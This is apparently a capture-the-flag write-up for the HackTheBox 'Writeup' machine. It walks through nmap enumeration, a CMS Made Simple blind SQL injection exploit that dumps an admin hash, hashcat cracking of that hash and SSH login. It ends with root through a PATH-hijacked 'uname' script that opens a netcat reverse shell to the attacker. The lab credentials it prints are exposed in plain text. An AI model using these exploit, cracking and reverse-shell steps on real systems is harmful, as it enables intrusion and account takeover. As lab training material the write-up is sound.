Writeup - HackTheBox

Writeup is an easy Linux machine on HackTheBox. It’s about enumeration and exploitation.


As always, the first thing to do is a port scan with nmap:

$ nmap -A
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-12 14:29 EDT
Nmap scan report for
Host is up (0.060s latency).
Not shown: 998 filtered ports
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.23 seconds

Let’s visit the web server:

Pagina web

The website index does not contain anything interesting. Let’s visit the writeup directory that nmap found in the robots.txt file:

Writeup directory

The links in the list are to the following urls:

and they only contains text.

Trying some basic fuzzing on the page parameter gives us only 404 pages. Even local file inclusion does not work. Let’s take a step back and navigate through the source code of the website. In the head section there are references to CMS made simple

<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />

A quick search with searchsploit gives us a long list of exploits:

$ searchsploit cms made simple
-------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                        |  Path
                                                                                      | (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------- ----------------------------------------
CMS Made Simple (CMSMS) Showtime2 - File Upload Remote Code Execution (Metasploit)    | exploits/php/remote/46627.rb
CMS Made Simple 0.10 - 'Lang.php' Remote File Inclusion                               | exploits/php/webapps/26217.html
CMS Made Simple 0.10 - 'index.php' Cross-Site Scripting                               | exploits/php/webapps/26298.txt
CMS Made Simple 1.0.2 - 'SearchInput' Cross-Site Scripting                            | exploits/php/webapps/29272.txt
CMS Made Simple 1.0.5 - 'Stylesheet.php' SQL Injection                                | exploits/php/webapps/29941.txt
CMS Made Simple 1.11.10 - Multiple Cross-Site Scripting Vulnerabilities               | exploits/php/webapps/32668.txt
CMS Made Simple 1.11.9 - Multiple Vulnerabilities                                     | exploits/php/webapps/43889.txt
CMS Made Simple 1.2 - Remote Code Execution                                           | exploits/php/webapps/4442.txt
CMS Made Simple 1.2.2 Module TinyMCE - SQL Injection                                  | exploits/php/webapps/4810.txt
CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload                      | exploits/php/webapps/5600.php
CMS Made Simple 1.4.1 - Local File Inclusion                                          | exploits/php/webapps/7285.txt
CMS Made Simple 1.6.2 - Local File Disclosure                                         | exploits/php/webapps/9407.txt
CMS Made Simple 1.6.6 - Local File Inclusion / Cross-Site Scripting                   | exploits/php/webapps/33643.txt
CMS Made Simple 1.6.6 - Multiple Vulnerabilities                                      | exploits/php/webapps/11424.txt
CMS Made Simple 1.7 - Cross-Site Request Forgery                                      | exploits/php/webapps/12009.html
CMS Made Simple 1.8 - 'default_cms_lang' Local File Inclusion                         | exploits/php/webapps/34299.py
CMS Made Simple 1.x - Cross-Site Scripting / Cross-Site Request Forgery               | exploits/php/webapps/34068.html
CMS Made Simple 2.1.6 - Multiple Vulnerabilities                                      | exploits/php/webapps/41997.txt
CMS Made Simple 2.1.6 - Remote Code Execution                                         | exploits/php/webapps/44192.txt
CMS Made Simple 2.2.5 - (Authenticated) Remote Code Execution                         | exploits/php/webapps/44976.py
CMS Made Simple 2.2.7 - (Authenticated) Remote Code Execution                         | exploits/php/webapps/45793.py
CMS Made Simple < 1.12.1 / < 2.1.3 - Web Server Cache Poisoning                       | exploits/php/webapps/39760.txt
CMS Made Simple < 2.2.10 - SQL Injection                                              | exploits/php/webapps/46635.py
CMS Made Simple Module Antz Toolkit 1.02 - Arbitrary File Upload                      | exploits/php/webapps/34300.py
CMS Made Simple Module Download Manager 1.4.1 - Arbitrary File Upload                 | exploits/php/webapps/34298.py
CMS Made Simple Showtime2 Module 3.6.2 - (Authenticated) Arbitrary File Upload        | exploits/php/webapps/46546.py
-------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Given that the date of the copyright string is 2019, it must the most recent exploit, so let’s download it with:

$ searchsploit -m 46635

Reading the code we can see that it exploits a SQL injection vulnerabilty in the moduleinterface.php file. More specifically, it’s a time based blind SQL injection, you can find a good explanation here.

Let’s then run the exploit:

$ python2 46635.py -u

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

The exploit finds the username of the administration panel, the password hash and the salt used to hash the password. The hash format is MD5($SALT.$PASSWORD) , let’s use hashcat to try to bruteforce it:

$ hashcat --force -m 20 hash.txt rockyou.txt

It only takes a couple of seconds with a gpu and the password is raykayjay9. Let’s try the password on ssh:

$ ssh jkr@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:TEw8ogmentaVUz08dLoHLKmD7USL1uIqidsdoX77oy0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
jkr@'s password:
Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

And here’s the flag:

jkr@writeup:~$ cat user.txt


The first thing that I usually do is a basic local enumeration with tools like LinEnum and pspy. HackTheBox machines do not have internet access, so let’s copy then on the machine with scp:

$ scp LinEnum jrk@
$ scp pspy64 jrk@

LinEnum does not give us something interesting. At first, also pspy was not interesting. After a couple of minutes I connected using another ssh connection and something interesting popped out on pspy:


This command gets executed on every ssh connection:

sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:\
    /usr/sbin:/usr/bin:/sbin:/bin \
    run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new

The run-parts command runs every file present in the indicated directory, /etc/update-motd.d in our case, and the output of it gets written in /run/motd.dynamic.new.

If we could write a script in /etc/update-motd.d then it’s done! Let’s check the permissions on the directory:

$ ls -la /etc/update-motd.d/
total 12
drwxr-xr-x  2 root root 4096 Apr 19 04:12 .
drwxr-xr-x 81 root root 4096 Aug 23 05:16 ..
-rwxr-xr-x  1 root root   23 Jun  3  2018 10-uname

Sadly, only root is allowed to write. Let’s inspect 10-uname:

uname -rnsom

It just runs the uname command. After a bit of thinking, I remembered that the command that gets executed on every ssh connection had a custom PATH variable, so I thought that if I can write an executable called uname in one of the directories, It could be executed instead of the original one. Luckily, the first one in the PATH variable is writeable by us:

jkr@writeup:~$ ls -lad /usr/local/sbin
drwx-wsr-x 2 root staff 12288 Apr 19 04:11 /usr/local/sbin

Let’s then write the file (/usr/local/sbin/uname) that will gets us a root connection using netcat

nc 1337

After saving it, give it execute permissions with chmod +x and run nc -lnvp 1337 on your machine to listen for the connection. After a successful ssh connection the custom uname script gets executed an we can read the flag:

$ cat /root/root.txt

Thanks for the reading, see you in the next one!